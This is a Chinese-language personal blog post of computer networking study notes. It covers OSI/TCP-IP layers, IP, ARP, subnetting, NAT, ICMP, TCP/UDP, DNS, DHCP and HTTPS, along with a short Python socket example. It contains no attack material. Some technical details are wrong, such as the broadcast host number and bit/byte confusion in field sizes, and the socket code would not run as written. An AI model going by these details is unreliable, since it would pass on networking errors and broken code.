须一致（否则无法通信），例如版本4（v4），版本6（v6）\nIP数据报的4位首部长度，是表示IP首部的长度，使用4bit表示，4位填满就是1111，就是15bit，IP数据报限制每行是4个字节（32位bits），154就是60字节，因此首部最大可以是60个字节，IP数据报最短部分有5行，54，就是20字节，20字节是IP首部长度最小的值，这个看起来可能有点乱，下面解一下为啥是这样\n首部长度的单位是32bit（4字节），也就是说首部长度0001是表示IP首部有32bit，4个字节，首部长度1111就是4*15（15是二进制1111换算出来的），就是IP首部最大是60个字节\n因为IP数据报最少要有5行，这5行就是最小首部（第六行是可选的），每行4个字节，4*5就是20个字节，IP首部长度最小表示得是20个字节，用4位首部长度表示就是0101（就是5，因为1就表示了4个字节）\nIP数据包的总长度是用16位bit表示，因此最大值为65535（2的16次方），这个总长度表示IP首部+IP数据的总长度，因此一个IP数据包最大是65535字节\n当IP数据包大于MTU时，数据链路层会将IP数据包分片，以确保符合MTU\nIP首部还有个服务类型，用8位表示，前面3位表示优先级，后4位是标志，最后一位是保留位，前面3位，满载就是111，也就是说有7种优先级，这个优先级没有强制性，物理设备也不看\nIP首部标识，占16位，是计数器，相同数据包的标识是相同的（每生产一个数据包就+1），用来数据包的分段，以确保IP数据包能通过MTU限制的数据链路，最后为了数据帧拼装成完整的IP数据包，通过标识来确定，这个标识会被复制到数据帧的标识字段中，相同标识就表示是相同的IP数据包，就可以拼装成完整的数据包了\nIP首部标志，占3位，只有2位有意义，表示该IP数据包是否分片，第一位没有使用，第二位表示DF（Don’t Fragment），是否要进行分帧（DF=0时才允许分片），第三位表示MF(More Fragment)，是否后面数据报（MF=0时表示该数据包后面没有了，是最后的包），因此一个允许被分片，并且不是最后一个数据包时，标志表示为001，不允许分帧的话，超过MTU限制的数据包将被丢弃，并且向数据包的源头提示信息\nIP首部片偏移，占13位，表示分片后，该片在原来ip数据包中的相对位置，片偏移是用8个字节为一个偏移单位，因此每个片的长度一定是8字节的倍数\n生存时间TTL，占8位，表示该数据报文在网络中的寿命，经过一个设备TTL会减1，当TTL为0时，该数据报文将被设备丢弃，确保数据报不会一直在互联网的设备中传输，而消耗网络资源\n协议，占8位，表示数据报携带的数据是什么协议的，让网络层知道应该将这个数据给哪个来进行处理，常见的协议取值，1为ICMP，2为IGMP,4为IP，6为TCP，17为UDP\n首部检验和，占16位，用来校验数据报的首部，每经过一个设备，都会重新计算首部检验和，确保首部不出错，出错会被设备丢弃\nIP源地址，占32位，表示发送该IP数据报的机器的IP地址\nIP目标地址，占32位，表示该IP数据报需要到达的目标机器的IP地址\nIP协议转发过程（逐跳（hop-by-hop））\nMAC地址表工作过程：网卡发送数据帧，数据帧抵达路由器，路由器会取前6字节，来匹配MAC地址表，查找该MAC地址对于的网络接口，路由器就可以通过网络接口来对外发送数据帧\nIP路由表和MAC地址表工作过程类似，IP路由表有目标IP地址，以及有要到达该目标IP地址的下一个地址，发出IP数据报，通过查询IP路由表得知，需要将改数据报发送给另一个IP，才能到达就会发送给另一个IP，另一个IP的设备查询路由表，需要给另一个IP，就发送给它，一直到抵达目的地，或者TTL死亡，计算机和路由器都有路由表\nIP路由表是网络设备根据路由协议生成的，windows操作系统可通过route print命令查看本计算机的路由表\n可以看到有5个属性，分别是网络目标（目标的IP）和网络掩码（表示IP地址的哪个标识是当前设备所在的子网），网关（将数据发送给哪个设备，网关又叫下一跳服务器），接口（发送数据包的网络接口，和当前网关是同一个子网）以及跃点数（到达目标需要经过的跃点数量，一个跃点就是一个路由器，TCP/IP协议会选择最低跃点数的路由）\n网络掩码，又叫子网掩码，和IP地址搭配使用，子网掩码也是32位地址，用来屏蔽IP地址的一部分来区别是网络地址和主机地址，RFC950定义，表示网络地址的位都为1，表示主机地址的位都为0，例如192.168.1.2的子网掩码255.255.255.0，表示192.168.1是网络地址，最后的2才是主机地址，因此得到192.168.1.2是属于192.168.1.0这个网络下的，其中主机号为2\n逐跳的过程：网络层通过路由表，知道下一个发送哪个设备来转发数据，网络层将封装IP数据报给数据链路层，并且告知目标的MAC地址是什么，数据链路层将数据帧发送给目标MAC地址，当接收数据帧后，会将数据帧给网络层（这也是为啥路由器最高层是网络层的原因，路由器不需要那么高层的功能），网络层查询路由表，得知下一个目标设备，并且将数据报给数据链路层，告知目标的MAC地址是什么，数据链路层会将数据帧发送给目标设备一直到真正的目标设备为止\n数据帧在每一逐跳中，都会对MAC地址发送改变，但是IP数据报的IP地址不会发生变化\nARP协议（Address Resolution Protocol，地址解析协议）和RARP协议（Reverse Address Resolution Protocol，逆地址解析协议）\nARP协议会将网络层的IP32位地址解析成数据链路层的MAC48位地址，ARP缓存表表示IP地址和MAC地址的映射关系，缓存表没有缓存时，ARP会广播，其他设备会回应，ARP将记录设备的IP和MAC地址，ARP缓存表的记录具有期限性\nwindows操作系统可通过arp -a命令查看本机的ARP缓存表\nARP协议报文是直接对数据链路层的数据帧进行封装的\nARP协议报文由2位的类型，28位的ARP请求应答，18位的PAD填充数据组成\n其中28位的ARP请求应答报文，是由2位硬件类型，2位协议类型，4位标记，6位发送方的以太网地址，4位发送方的IP地址，6位的目标以太网地址，4位的目标IP地址组成\nRARP的工作和ARP是逆操作，RARP协议是将数据链路层的MAC地址解析成IP地址，利用的也是ARP缓存表，RARP报文和ARP报文是一样的类型组成的\nIP地址的子网划分\nIP地址分类，将32位分成网络号，主机号\nA类地址：8位网络号（前一位为0），24位主机号，最小网络号为0，最大网络号为127（01111111），最小主机号为0.0.0，最大主机号为255.255.255\nB类地址：16位网络号（前二位为10），16位主机号，最小网络号为128.0，最大网络号为191.255，最小主机号为0.0，最大主机号为255.255\nC类地址：24位网络号（前三位为110），8位主机号，最小网络号为192.0.0，最大网络号为223.225.255，最小主机号为0，最大主机号为255\n特殊的主机号，主机号为0表示当前网段，主机号为1表示是广播地址，对当前网段的全部设备发送消息用的\n特殊的网络号，A类地址中网络号全为0为特殊网络，例如0.0.0.0，A类地址中网络字段后7位为1是表示回环地址，例如127.0.0.1\nB类地址网络号后14位都为0，例如128.0.0.1，C类网络号后21位为0，例如192.0.0.1\n上面特殊的都是不可使用或者无法分配的\n区别IP地址属于那一类地址，只需要将IP地址的前8位取出来，通过判断前1位到3位来知道，也是可以看前一段IP地址，例如192.168.1.1，这个明显超过A类，B类地址的最大网络号，因此是C类地址\n127.0.0.1本地回环地址（Loopback Address），这个地址不属于任何一个地址类，它表示设备的本地虚拟接口，甚至无网卡也可以ping通该地址\n还有D类地址，开头前4位是1110，E类地址前4位为1111，D类和E类地址用来特殊用途的，例如广播（D类），D类和E类是不区分网络地址和主机地址的\n子网划分就是在网络号主机号的基础上添加子网号，通过子网掩码来匹配网络号\nA类地址的子网掩码是255.0.0.0\nB类地址的子网掩码是255.255.0.0\nC类地址的子网掩码是255.255.255.0\n子网掩码的二进制与IP地址的二进制进行与运算（位相同，并且为1返回1，位不相同，而且为0返回0），得到的运算结果转换为点分10进制，就是该IP属于这个IP的子网\n无分类编址CIDR（Classless Inter-Domain Routing，无类域间路由选择，没有ABC这些网络分类，也没有子网划分）\nCIDR将IP区分为网络前缀和主机号，网络前缀相同就表示是一个CIDR地址块，网络前缀不受限制\n斜线记法，例如192.168.1.2/25，表示前25位为网络前缀，后7位为主机号（2的7次方，就是128，去掉最大和最小的，还有126个ip地址可以分配，而不需要像C类地址一样，直接就分配255-2个地址，造成地址浪费）\n通过斜线记法占据网络前缀，主机号将可以灵活的占用，更有效分配IP地址，减少IP地址分配的浪费\nCIDR的IP地址与子网掩码，进行与运算，可以得到网络号\n网络地址转换NAT技术（解决IPv4地址不够用）\nNAT技术将IP分为内网地址（避免和外网地址重复）和外网地址（又叫公网地址）\nA类内网地址，10.0.0.0到10.255.255.255\nB类内网地址，172.16.0.0到172.31.255.255\nC类内网地址，192.168.0.0到192.168.255.255\n网关以及ISP，服务器使用外网地址，内部局域网使用内网地址\nNAT（Network Address Translation，网络地址转换）：让多个内网设备通过一个公网地址来访问互联网的技术，通过转发端口号来实现，内部的端口号，需要访问外网时，会分配一个新的端口号和新的地址（公网）来表示这个内网端口服务，这样外网访问这个公网的端口时，将可以映射给具体内网的端口服务\n例如常见的NAT穿透技术（就是内网穿透）\nICMP协议（Internet Control Message Protocol，网际控制报文协议）\nICMP协议可以报告错误信息和异常信息，搭配IP协议使用\nICMP协议报文封转在IP数据报的数据中，ICMP协议报文由ICMP报文首部和ICMP报文数据组成\nICMP报文首部由8位类型（ICMP报文的类型，有2类，分别是差错报告报文，询问报文），8位代码（ICMP报文具体有哪些错误），16位的校验和组成\n差错报告报文的常见类型有3（终点不可达，代码0为网络不可达，1为主机不可达），5（重定向，代码0为网络重定向，1为主机重定向），11（传输超时），12（缺少IP必要参数（1）或者IP头部问题（0））\n询问报文的常见类型有0或者8（回送请求或者应答），13或者14（时间戳请求或者应答），询问报文主要查询网络是否互通，\n使用了ICMP协议的应用有ping（询问报文），traceroute（发送IP数据包到目标需要走哪些路由）\nwindows可使用tracert命令来体验traceroute的功能，tracert baidu.com\n传输层（给上层应用层提供通信功能，是数据通信的最高层，传输层实现进程与进程间的通信（跨设备，跨设备））\n传输层协议：TCP协议和UDP协议\n使用不同的端口表示不同的网络进程，端口使用16位表示，（0到65535），端口只对本地有意义，进行网络传输，还需要搭配IP来使用\n传输层对上层应用层起到屏蔽底层的细节的作用，网络层传输点到点的传输，传输层就将点精确到端，进程的传输\nUDP协议（User Datagram Protocol，用户数据报协议）\n应用层传递的数据报，UDP不会对其进行合并，拆分，UDP协议数据报大小取决于上层网络层的数据报\nUDP数据报分为UDP首部，UDP数据报数据（UDP数据报数据就是上层应用层提交的数据）\nUDP首部由16位源端口号（源机器的端口），16位目标端口号（目标机器的端口），16位UDP长度（表示UDP数据报的长度），16位UDP校验和组成，UDP首部是8字节的长度\nUDP无连接（不需要建立连接，直接对目标发送数据报），不保证可靠传输数据（不会感知数据报的发送失败，丢失），面向报文传输（应用层交付的数据报文有多大，UDP就传输多大的UDP协议报文，一次发送一个报文），没有拥塞控制（无法感知网络的拥塞情况，直接交付数据报给网络就完事）\nTCP协议（Transmission Control Protocol，传输控制协议）\nTCP协议报文也是在IP数据报的数据内部的，由TCP首部和TCP数据报数据组成\nTCP是面向连接（需要提前建立连接，才能通信），提供可靠传输（连接管理（3次握手，4次挥手），数据分段（），校验和（校验数据），序号（按顺序发送，收到乱序则丢弃数据），累计确认（接收数据方会发送确认应答，来表示发送的报文收到了），重发机制（定时器，一段时间内无法确认该报文接收到，发送方会重新发送该报文），流量控制（感知对方的接收情况，如果对方接收不够快，会提示对方降低发送频率（调整本地的窗口，并且告知对方窗口值是多少），避免数据报的丢失），拥塞控制（感知网络拥塞情况，能根据拥塞情况来调整数据发送的频率，调整拥塞窗口，避免数据报的丢失），通过这些来保证可靠传输），提供全双工通信，面向字节流传输\nTCP字节流：TCP协议将网络层传输的数据看成字节流，会从字节流中选择长度来创建数据段（拆分），这个数据段就成了TCP数据报的数据，接收方接收数据时，还需要对数据进行排序（根据序号，合并）\nTCP粘包：发送的数据，在接收方被粘在一块了（排序），一个数据包的头部接着另一个数据的尾部，导致原因是接收数据时，并不会马上交付数据，而是存储在流量控制的缓存中，交付数据时就可能读取到TCP粘包\nTCP首部由16位源端口，16位目标端口，32位序号（传输的字节都有唯一序号，表示数据报的数据的第一个字节的序号），32位确认号（表示前面多少个数据收到了，如果有下一个数据请发送给我，例如ack=11，表示前面10个数据已经收到，可以发送第11个数据了，表示期待收到下一个字节序号是什么，传输下一个数据报的数据取决于这个，序号+当前数据长度的和就是下一个数据发送的起点序号），4位数据偏移（首部长度，最大长度1111，就是15，表示有15行，每行4字节，最大60个字节，单位为4字节，长度是20（最少20字节）到60字节之间，表示真实数据距离首部有多长），保留字段，6位的TCP标记（有6位不同的控制位，分别为URG（Urgent，紧急位，URG=1，表示该数据是紧急数据，接收端会更优先获取该数据），ACK（Acknowledgenent，确认位，ACK=1时确认号才生效），PSH（Push，推送位，PSH=1时表示尽快将该数据交付应用层，不需要等缓存填满交付），PST（Reset，重置位，RST=1时通知重新建立TCP连接），SYN（Synchronization，同步位，SYN=1，ACK=0时表示需要连接建立请求，ACK=1时表示连接请求报文），FIN（Finish，终止位，FIN=1时，表示数据发送完成，开始断开连接操作）），16位窗口（表示本地可以接收的数据最大多少，字节为单位，流量控制的基础，可变），16位校验和（差错控制，发送方计算全部数据的校验和，接收方也计算校验和，当接收方的校验和和发送方一致时，数据发送正确），紧急指针（搭配URG控制位使用，指定紧急数据在报文的位置），可选的TCP选项（最大40字节），以及填充（填充32位的整数倍）组成\nTCP首部除了填充，TCP选项外，剩余是固定20个字节的长度的\n可靠传输协议：停止等待协议（发送方发送数据，只有当接收方响应确认后，再发送另一个数据，停止是发送方的停止发送另一个数据，等待是接收方等待数据的传输，获取到了响应一个确认，如果接收方在一段时间内没有响应确认消息，发送方会重发该数据给接收方（超时重传，超时定时器）），连续ARQ协议（连续发送多个报文，批量发送，通过滑动窗口，来确认发送多少个报文，当报文确认号到达，将移动窗口，让其可以发送后面的报文，累计确认）\nTCP可靠传输基于连续ARQ协议，滑动窗口是以字节为单位，窗口首个字节就是确认号（期望下一个发送该字节），发送字节的长度等于确认号+窗口大小，移动窗口的前提是已经接收到确认了，可用窗口等于窗口长度-已发送未确认的，如果窗口首个字节长时间没有确认，将重新传输该窗口的全部字节（哪怕已经接收到）\n因为重传窗口的全部字节效率低，因此有选择重传，可以指定重传的字节，每个字节都有32位序号，提供序号就可以选择性重传，选择重传的数据存储在TCP选项内部，因为TCP首部最大60字节，因此TCP选项最大40字节，也就是10个序号（一个序号4字节），能存储的序号太小，因此实质上存储的是重传的字节边界，重传开头字节到结尾字节，就是2个协号表达一段需要重传的字节，这会增加了重传字节的数量，而不是每次只能重传10个字节，而是能重传数百个，数万个字节，因为丢失字节的数量是非常巨大的，要么没有问题，一出问题就是字节丢失很多\n流量控制（提示发送方的发送数据的频率不要太快（避免接收方处理不及时，而导致数据丢失），通过限制滑动窗口的大小来实现，窗口指明发送的数据量是多少）\n发送方发送数据时携带SEQ序号，表示该报文的序列号，接收方进行响应时，会返回ACK确认号（表明接收到哪个报文了），如果想提示发送方的窗口要设置多大合适，还可以响应一个RWND来表示发送方应该设置窗口大小为这个\nACK=101，RWND = 1000，将表示下一个发送序号为101的报文，并且窗口为1000，也就是说可以一次传输101到1100之间的报文\n通过窗口大小来通知对方的发送速率，来做到流量控制，超时重传只针对数据的，对于响应消息是不会触发重传的，如果窗口控制的消息丢失了，将可能导致死锁（如果之前设置RWND为0的话，需要等待响应调整窗口，窗口消息丢失，接收方和发送方都在等待对方的回应）\n坚持定时器：当接收到RWND为0的消息时，启动坚持定时器，坚持定时器将每隔一段时间发送窗口探测报文，询问接收方是否有调整窗口的大小的操作，避免因为窗口消息的丢失而死锁的情况发送\n拥塞控制（硬件设备传输速率不同或者网络设备故障，因此存在网络拥塞的情况，例如报文超时，这个也是被认为网络拥塞了）\n拥塞控制算法：慢启动算法（从小到大逐渐增加发送量，当发送的报文接收到了，将增加发送量，逐渐试探网络是否拥塞了，会指数增长发送量，直到慢启动阈值（ssthresh）），拥塞避免算法（当慢启动算法达到慢启动阈值时启动，控制拥塞窗口，会试探扩大拥塞窗口（直线增长），直到发送网络拥塞为止）\n三次握手（通过TCP首部的TCP标记完成，ACK，SYN，FIN）\n第一次握手：SYN=1，seq=x，seq是序号，请求建立连接方向目标发送\n第二次握手：SYN=1，ACK=1，seq=y，ack=x+1，ACK确认收到请求，seq的值是数据序号，ack=x+1，是希望下次接收的数据的序号\n第三次握手：ACK=1，seq=x+1，ack=y+1，ACK确认，seq是当前发送的数据序号，ack是期望下次接收的序号\n发送方负责同步和建立连接，接收方负责监听和同步数据已接收响应，建立连接\n三次握手的作用不只是建立连接，而且还可以同步数据的序号，以及希望下次接收数据的序号，避免失效的请求建立连接报文（超时的）而导致错误，第三次握手消息，会让接收方忽略超时的失效的建立连接报文（因为超时没有响应，会重发请求）\n四次挥手（TCP连接的释放）\n第一次挥手：FIN=1，seq=u，数据传输完毕，需要终止TCP连接\n第二次挥手：ACK=1，seq=v，ack=u+1，被终止方依然可以发送数据，因为只是主动终止方发送完毕数据了，对方并不一定完成了，需要等待对方发送完毕\n第三次挥手：FIN=1，ACK=1，seq=w，ack=u+1，被终止方发送数据完毕，也可以终止了\n第四次挥手：ACK=1，seq=u+1，ack=w+1，请求终止方确认已经接收到对方可终止的请求后发送，可以释放了\n等待计时器：请求终止方需要等待计时器后才进行关闭，而被终止方接收到第四次挥手消息后是立刻关闭，这个计时器又叫2MSL计时器，即报文最大生存时间的2倍（MSL，Max Segment LIfetime，最长报文段寿命，一般为2分钟）\n等待计时器的作用是确保第四次挥手消息到达对方，如果对方在2MSL内没有接收到，会重新发送第三次挥手消息，确保全部报文在连接中失效，端口占用\n套接字（ip和端口的组合，Socket，表示TCP连接的一端，用来数据发送和接收）\nTCP连接使用2个套接字来组成（C/S架构）\n服务端创建套接字，绑定套接字，监听套接字，接收或者处理消息\n客户端创建套接字，连接套接字，发送消息\n套接字编程（使用Python完成）\n服务端\nimport socket\rdef server():\rs = socket.socket() #创建套接字\rhost = '127.0.0.1'\rport = 8080\rs.bind((host,port)) #绑定套接字\rs.listen(10) #监听\raddr = s.accept() #接收对方发送的消息\raddr.send('hallo word') #向对方发送消息\raddr.close() #关闭连接\rif __name__ == '__main__':\rserver()\r客户端\nimport socket\rdef client():\rs = socket.socket() #创建套接字\rs.connect('127.0.0.1',8080) #连接端口\rprint(s.recv(1000)) #接收服务端消息\rs.close() #关闭连接\rif __name__ == '__main__':\rclient()\r应用层（对接用户的一层，定义应用与应用之间的通信规则）\n应用层常见协议：HTTP，SSH，DNS，FTP，SMTP，POP3，Telnet\nDNS（Domain Name System，域名系统）\n使用域名来代替IP的点分十进制，通过DNS服务，可以将域名映射出源IP地址（这个源可能是源服务器，也可能是代理服务器，缓存服务器，CDN服务器）\n域名由点，数字，字母组成，这个字母不区分大小写，点分割不同域（这里的域主要分顶级域，二级域，三级域）\n例如：blog.xiaochenabc123.test.com，.com就是顶级域，xiaochenabc123.test.com是二级域，blog.xiaochenabc123.test.com是三级域\n顶级域分成通用顶级域和国家（地区）顶级域，例如.cn，.com，.org，.net，.gov\n顶级域搭配二级域就是可以完成一个IP映射服务了\nDNS服务部署在DNS服务器上（域名服务器），根域名服务器（管理所有顶级域，全世界目前只有13台），顶级域名服务器（负责顶级域的DNS解析工作），域名服务器（负责二级域的解析工作）\nDNS解析过程：计算机访问本地域名服务器查询，如果本地域名服务器没有缓存，则直接向根域名服务器请求，这个顶级域是属于哪个顶级域名服务器的，根域名服务器会返回对应的顶级域名服务器信息，本地域名服务器然后对顶级域名服务器查询，这个二级域名应该属于哪个域名服务器，再访问域名服务器，最后获取映射的IP\n本地域名服务器决定了DNS解析的时长，一个好的本地域名服务器可以减少向根，顶级，域名服务器的请求，例如公共域名服务器，114.114.114.114，8.8.8.8，119.29.29.29，223.5.5.5，180.76.76.76\n域名由 ICANN 管理全世界的域名系统工作\nDNS也会被缓存到本地计算机内，浏览器缓存，操作系统缓存，因此实质上是先访问浏览器缓存，没有再访问操作系统缓存，再然后才到本地域名服务器\nDHCP协议（Dynamic Host Configuration Protocol，动态主机设置协议）\nDHCP协议是局域网协议，调用UDP协议的应用层协议，提供即插即用联网服务（不需要手动设置IP，而是使用DHCP协议提供的服务，动态设置IP）\nDHCP协议提供的是临时IP，具有租期性（过期了会回收，当然也可以续租），提供DHCP协议服务的是DHCP服务器，该服务器通过监听默认端口67，计算机通过UDP协议进行广播DHCP发现报文，因为当前计算机还没有分配IP，会通过设置ip的位全为1，就是255.255.255.255为UDP协议报文的ip，表示这个报文是广播报文，DHCP服务器接收到发现报文后发出DHCP提供报文，计算机接收DHCP提供报文，知晓该网络提供DHCP服务，计算机会向DHCP服务器发送DHCP请求报文，DHCP接收请求并且回应，提供IP地址\nHTTP协议（HyperText Transfer Protocol，超文本传输协议）\nHTTP协议是调用TCP协议的应用层协议，基于TCP的数据可靠性传输\n服务端处理过程：接受客户端TCP连接，接收请求报文（HTTP请求方法有很多种，常见的有GET，POST，DELETE，UPDATE，PUT等等），处理请求，访问资源，生成响应报文，发送响应报文给客户端\n请求报文由请求方法，请求地址，HTTP版本，请求头，请求内容组成\n响应报文由HTTP版本，响应状态码，状态解释，响应头，响应内容组成\nHTTPS是在HTTP协议的基础上使用了SSL（Secure Sockets Layer，安全套接层），数字证书加密通信，SSL证书由可信任组织（CA机构）颁发给所有人的，CA机构颁发的证书就叫CA证书，CA证书有很多种，SSL证书是CA证书的一种，数字证书主要由证书序列号，签名算法，有效期，所有人名称，所有人公开密钥组成\nSSL提供了数据加密传输，数据不可篡改等功能，应用层的数据交付给传输层会经过SSL的加密传输\n先进行443端口的TCP连接，SSL安全握手，完成安全握手后就可以对数据进行加密解密\nSSL安全握手的过程：\n客户端向服务端发送协议版本，支持的加密算法，随机数1\n服务端回应，发送确定的加密算法，数字证书，随机数2\n上面2次是不进行加密传输的，下面的才进行加密传输\n客户端会先检查数字证书有效性，使用数字证书提供的公开密钥对随机数3进行加密，并且将加密数据发送给服务端\n服务端接收到加密数据时，使用私有密钥解密这个随机数3\n客户端和服务端会根据之前生成的随机数1，随机数2，随机数3和确认的加密算法生成对称密钥\n客户端和服务端将使用这个对称密钥来进行加密和解密传输，这个对称密钥只有客户端和服务端知道，外人并不知道（因为随机数3是使用数字证书的公钥加密的，这个随机数3只有客户端和服务端解密后知道）\n","wordCount":"305","inLanguage":"en","datePublished":"2022-11-01T12:00:00Z","dateModified":"2022-11-01T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/156/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>计算机网络学习笔记</h1><div class=post-meta><span title='2022-11-01 12:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e8%ae%a1%e7%ae%97%e6%9c%ba%e7%bd%91%e7%bb%9c%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据</p><p>计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等</p><p>网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）</p><p>计算机网络发展历史</p><p>ARPANET（1969年，美国国防部创建的单个网络）</p><p>三层结构互联网（现代互联网雏形，当时主要用于连接美国学校，实验室的计算机，主干网，地区网，校园网）</p><p>多层次ISP互联网（ISP指网络服务提供商（Internet Service Provider），常见网络服务提供商有中国移动，中国电信，中国联通等等）</p><p>多层次ISP互联网，分主干ISP（主要跨国通信），地区ISP（主要局部地区通信，例如广东移动，北京电信等等）</p><p>中国创建了多个公共互联网，例如：中国电信互联网（CHINANET），中国移动互联网（CMNET），中国联通互联网（UNINET），中国教育与科研计算机网（CERNET），中国科学技术网（CSTNET）等等</p><p>计算机网络层次结构（确保数据通信顺通，识别目标计算机的状态，数据是否存在错误）</p><p>层次结构大概分3个，网络应用，数据通信，物理网络</p><p>层次细分的话，有七层，也就是OSI七层模型（OSI国际标准定义的），而且每个层都是独立的（不干预其他层），只完成不同的工作</p><p>OSI七层模型：应用层（为计算机提供服务），表示层（数据处理），会话层（管理通信会话），传输层（管理通信连接），网络层（数据路由），数据链路层（管理节点之间的数据通信，例如传输数据到另一个局域网），物理层（计算机物理设备）</p><p>OSI七层模型并没有成为广泛使用的标准，而是采用TCP/IP四层模型</p><p>TCP/IP四层模型：应用层（对于OSI七层模型的应用，表示，会话，HTTP协议），传输层（OSI七层模型的传输层，TCP/UDP协议），（OSI七层模型的网络层，IP/ICMP协议）网络层，（数据链路层和物理层，ARP/RARP协议）网络接口层</p><hr><hr><p>计算机网络性能指标</p><p>bps=bit/s，1秒多少比特位，比特率</p><p>时延：发送时延（数据bit除以bps），排队时延（数据等待被网络设备处理的时间），处理时延（数据到达目标机器后处理需要的时间），传输时延（传输路径除以bps）</p><p>总时延 = 发送时延+排队时延+传输时延+处理时延</p><p>往返时间RTT（Route-Trip Time）：数据报文在通信中来回一次的时间（可通过ping命令来查看RTT）</p><hr><p>物理层（连接不同的物理设备，传输比特流）</p><p>物理层传输介质：双绞线（又分屏蔽和无屏蔽，区别就是增加了一层屏蔽层），同轴电缆，光纤（通过光传输，光纤内部是具有高折射率的纤芯，能折射光）</p><p>电缆使用铜作为传输介质，光纤通过光来作为传输介质</p><p>铜线中的电信号传播速度大约为2.3*10^8m/s</p><p>光纤中光信号的传播速度是2.0*10^8m/s</p><p>因此实质上电缆的传播速度比光纤快，因为光纤是利用光的反射来传输到远方的，实质光走的距离更长</p><p>但是电缆的铜在远距离的情况下，会导致衰减（主要有2个原因导致，介质损耗（通过电磁波传导，会在介质中产生电场的电荷规则排序，这会消耗能量）和导线损耗），需要通过中继器来延续信号</p><p>因此在跨市，跨城，跨省，跨国使用都是光纤（光纤的带宽比电缆好，也是一个原因），但是短距离，得益于电缆的传播速度，会更好，因此局域网内部大多使用电缆来传输（因为解析光信号，还需要个光信号调制调解器，计算机无法直接使用光纤传输的数据）</p><p>比特流：通过高低电平来表示比特流，来传输数据</p><p>信道（往一个方向传输信息的媒体，一个通信电路最少要有一个发送信道和接收信道）</p><p>信道的分类：单工通信信道（只能往一个方向通信的信道，没有反馈的信道，例如电视机的电视闭路线），半双工通信信道（可以发送和接收信息，但是不能同时发送，同时接收），全双工通信信道（可以同时发送，同时接收）</p><p>物理层会实现信道分用复用技术（提升信道的利用率）</p><p>频分复用，时分复用，波分复用，码分复用</p><hr><p>数据链路层（封装成帧，透明传输，差错监测）</p><p>数据帧：数据链路层中数据的基本单位，数据发送方会在网络层的一段数据的前后添加特定标记，而这一段数据就是数据帧，数据接收方根据特定标记来识别数据帧，是数据链路层内部数据处理成帧</p><p>数据帧也分MAC帧（没有帧尾，因为MAC帧之间是96比特时间，帧头也是没有的，而是让物理层给MAC帧添加8bts的前导码），PPP帧（有帧头和帧尾，帧头到帧尾就是这个帧的长度）</p><p>封装成帧：数据链路层会将网络层交付的数据报文添加帧头和帧尾，让其成为帧</p><p>帧头和帧尾都是特定的控制字符（比特流），帧头（SOH）：00000001，帧尾（EOT）:00000100</p><p>透明传输：数据链路层对网络层提供的数据没有限制（控制字符在帧数据中，但是不会去当成数据去处理，就好像帧头和帧尾不存在一样）</p><p>字节填充（对数据内部的数据填充ESC转义字符），比特填充（零比特填充法：在每5个连续的1后面插入比特0）</p><p>数据链路层规定了帧的数据的长度限制，就是最大传输单元MTU（Maximun Transfer 